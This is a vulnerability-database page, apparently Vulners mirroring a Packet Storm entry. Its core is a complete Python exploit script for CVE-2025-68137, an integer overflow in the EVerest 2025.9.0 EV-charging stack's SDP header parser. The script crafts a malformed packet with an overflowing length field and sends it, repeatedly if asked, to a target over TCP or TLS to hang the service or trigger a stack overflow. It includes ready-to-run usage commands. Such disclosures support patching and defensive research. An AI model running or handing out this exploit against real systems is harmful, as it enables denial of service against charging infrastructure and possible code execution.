Lucene search
+L

...[ More ]

🗓️ 03 Sep 2026 00:00:00Reported by Ranjit Kumar SinghType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 6 Views

Integer overflow in EVerest 2025.9.0 SdpPacket::parse_header enables DoS or stack overflow.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-68137
21 Jan 202619:20
attackerkb
circl
Circl
CVE-2025-68137
21 Jan 202620:34
circl
cnnvd
CNNVD
Everest-core security vulnerabilities
21 Jan 202600:00
cnnvd
cve
CVE
CVE-2025-68137
21 Jan 202619:20
cve
cvelist
Cvelist
CVE-2025-68137 EVerest's Integer Overflow and Signed to Unsigned conversion lead to either stack buffer overflow or infinite loop
21 Jan 202619:20
cvelist
exploitdb
Exploit DB
EVerest 2025.9.0 - DoS
2 Sep 202600:00
exploitdb
euvd
EUVD
EUVD-2025-206317
21 Jan 202619:20
euvd
nvd
NVD
CVE-2025-68137
21 Jan 202620:16
nvd
ptsecurity
Positive Technologies
PT-2026-3850
21 Jan 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-68137
22 Jan 202619:22
redhatcve
Rows per page
# Exploit Title: EVerest 2025.9.0 - DoS 
    # Date: 2026-08-11
    # Exploit Author: [Ranjit Kumar Singh]
    # Vendor Homepage: https://github.com/EVerest/everest-core
    # Software Link:
    https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
    # Version: everest-core < 2025.10.0
    # Tested on: Ubuntu 22.04 / EVerest 2025.9.0
    # CVE: CVE-2025-68137
    # Attack Vector: Adjacent Network
    # Authentication: None
    
    
    """
    CVE-2025-68137 - EVerest SDP Integer Overflow → Stack Buffer Overflow / DoS
    Exploit Author: Ranjit Kumar Singh
    Vendor: https://github.com/EVerest/everest-core
    Software Link: https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
    Vulnerable Versions: EVerest everest-core < 2025.10.0
    Tested on: Linux (Ubuntu 22.04) / EVerest 2025.9.0
    CVE: CVE-2025-68137
    
    Description:
        An integer overflow in SdpPacket::parse_header() allows an attacker to
        trigger either an infinite loop (TCP) or stack buffer overflow (TLS)
        by sending a malformed SDP packet with a specially crafted length field.
    
        The vulnerability exists because the length field (4 bytes) is added to
        the header size (8) without proper overflow checking. When the length
        value is near UINT_MAX, the addition overflows, causing the remaining
        bytes to read to be interpreted as SIZE_MAX.
    
    Usage:
        # Trigger DoS (infinite loop) on TCP server
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200
    
        # Trigger stack buffer overflow on TLS server (may lead to RCE)
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --tls
    
        # Send multiple packets to increase impact
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --count 100
    
        # Custom SDP version bytes (for testing different implementations)
        python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --version 0x01 --inverse 0xFE
    """
    
    import argparse
    import socket
    import ssl
    import struct
    import time
    import sys
    
    # SDP Protocol Constants
    SDP_PROTOCOL_VERSION = 0x01
    SDP_INVERSE_PROTOCOL_VERSION = 0xFE
    V2GTP_HEADER_SIZE = 8
    
    def build_malicious_sdp_packet(version=0x01, inverse=0xFE):
        """
        Build a malformed SDP packet that triggers the integer overflow.
        
        The packet structure:
        - Byte 0: Protocol version (must be 0x01)
        - Byte 1: Inverse protocol version (must be 0xFE)
        - Byte 2-3: Reserved/Unused (0x0000)
        - Byte 4-7: Length field (triggers overflow when +8 is applied)
        
        The overflow occurs when the length field is near UINT_MAX.
        When the code does: length = be32toh(tmp) + V2GTP_HEADER_SIZE
        If tmp is close to UINT_MAX, the addition overflows.
        
        We use 0xFFFFFFFF - 7 to make length = 0 after overflow,
        then length - bytes_read becomes negative → SIZE_MAX.
        """
        
        # Trigger integer overflow: tmp + 8 overflows when tmp >= UINT_MAX - 7
        # UINT_MAX = 0xFFFFFFFF
        overflow_value = 0xFFFFFFF8  # UINT_MAX - 7
        
        # Build the packet
        packet = bytearray()
        packet.append(version)                    # Protocol version
        packet.append(inverse)                    # Inverse protocol version
        packet.extend(b'\x00\x00')                # Reserved (2 bytes)
        packet.extend(struct.pack('>I', overflow_value))  # Length (big-endian)
        
        return bytes(packet)
    
    def build_normal_sdp_packet(version=0x01, inverse=0xFE, payload_size=0):
        """
        Build a normal SDP packet for comparison/testing.
        """
        packet = bytearray()
        packet.append(version)
        packet.append(inverse)
        packet.extend(b'\x00\x00')
        packet.extend(struct.pack('>I', payload_size))
        return bytes(packet)
    
    def send_packet(target_ip, target_port, packet, use_tls=False, count=1):
        """
        Send the malformed SDP packet to the target.
        """
        success_count = 0
        fail_count = 0
        
        for i in range(count):
            try:
                # Create socket
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(10)
                
                # Wrap with TLS if requested
                if use_tls:
                    context = ssl.create_default_context()
                    context.check_hostname = False
                    context.verify_mode = ssl.CERT_NONE
                    sock = context.wrap_socket(sock, server_hostname=target_ip)
                
                # Connect and send
                sock.connect((target_ip, target_port))
                sock.send(packet)
                
                # Try to read response (may hang if infinite loop triggered)
                try:
                    response = sock.recv(1024)
                    print(f"[{i+1}/{count}] Response received ({len(response)} bytes)")
                except socket.timeout:
                    print(f"[{i+1}/{count}] Timeout - possible DoS/loop triggered")
                
                sock.close()
                success_count += 1
                
            except ConnectionRefusedError:
                print(f"[{i+1}/{count}] Connection refused - service may be down")
                fail_count += 1
            except socket.timeout:
                print(f"[{i+1}/{count}] Connection timeout")
                fail_count += 1
            except Exception as e:
                print(f"[{i+1}/{count}] Error: {e}")
                fail_count += 1
            
            # Small delay between packets
            if i < count - 1:
                time.sleep(0.1)
        
        return success_count, fail_count
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2025-68137 - EVerest SDP Integer Overflow Exploit"
        )
        parser.add_argument("-t", "--target", required=True, 
                            help="Target IP address (e.g., 192.168.1.100)")
        parser.add_argument("-p", "--port", type=int, default=5200,
                            help="Target port (default: 5200)")
        parser.add_argument("--tls", action="store_true",
                            help="Use TLS connection (triggers stack buffer overflow)")
        parser.add_argument("--count", type=int, default=1,
                            help="Number of packets to send (default: 1)")
        parser.add_argument("--version", type=lambda x: int(x, 0), default=0x01,
                            help="Protocol version byte (default: 0x01)")
        parser.add_argument("--inverse", type=lambda x: int(x, 0), default=0xFE,
                            help="Inverse protocol version byte (default: 0xFE)")
        parser.add_argument("--payload-size", type=int, default=0,
                            help="Payload size for normal packets (for testing)")
        parser.add_argument("--normal", action="store_true",
                            help="Send normal packet instead of malicious")
        
        args = parser.parse_args()
        
        print("=" * 60)
        print("CVE-2025-68137 - EVerest SDP Integer Overflow Exploit")
        print("=" * 60)
        print(f"Target: {args.target}:{args.port}")
        print(f"TLS: {'Enabled' if args.tls else 'Disabled'}")
        print(f"Packets: {args.count}")
        print(f"Mode: {'Normal' if args.normal else 'Malicious'}")
        print("=" * 60)
        
        # Build packet
        if args.normal:
            packet = build_normal_sdp_packet(args.version, args.inverse, args.payload_size)
            print(f"[*] Using normal packet (payload size: {args.payload_size})")
        else:
            packet = build_malicious_sdp_packet(args.version, args.inverse)
            print("[*] Using malicious packet (triggering integer overflow)")
        
        print(f"[*] Packet hex: {packet.hex()}")
        print(f"[*] Packet size: {len(packet)} bytes")
        print("-" * 60)
        
        if args.tls:
            print("[!] TLS mode: May trigger stack buffer overflow (potential RCE)")
        else:
            print("[!] TCP mode: Will trigger infinite loop (DoS)")
        
        print("-" * 60)
        
        # Send packet
        print(f"[*] Sending {args.count} packet(s)...")
        success, fail = send_packet(
            args.target, args.port, packet, 
            use_tls=args.tls, count=args.count
        )
        
        print("-" * 60)
        print(f"[+] Packets sent successfully: {success}")
        print(f"[-] Failed: {fail}")
        
        if success > 0 and not args.normal:
            print("\n[!] If the target is vulnerable:")
            if args.tls:
                print("    - Stack buffer overflow triggered (check for crashes)")
                print("    - May lead to remote code execution")
            else:
                print("    - Infinite loop triggered (service will hang)")
                print("    - Denial of Service achieved")
        
        print("\n[+] References:")
        print("    - https://github.com/EVerest/EVerest/security/advisories/GHSA-7qq4-q9r8-wc7w")
        print("    - https://nvd.nist.gov/vuln/detail/CVE-2025-68137")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Sep 2026 00:00Current
CVSS 3.18.3
EPSS0.01029
SSVC
6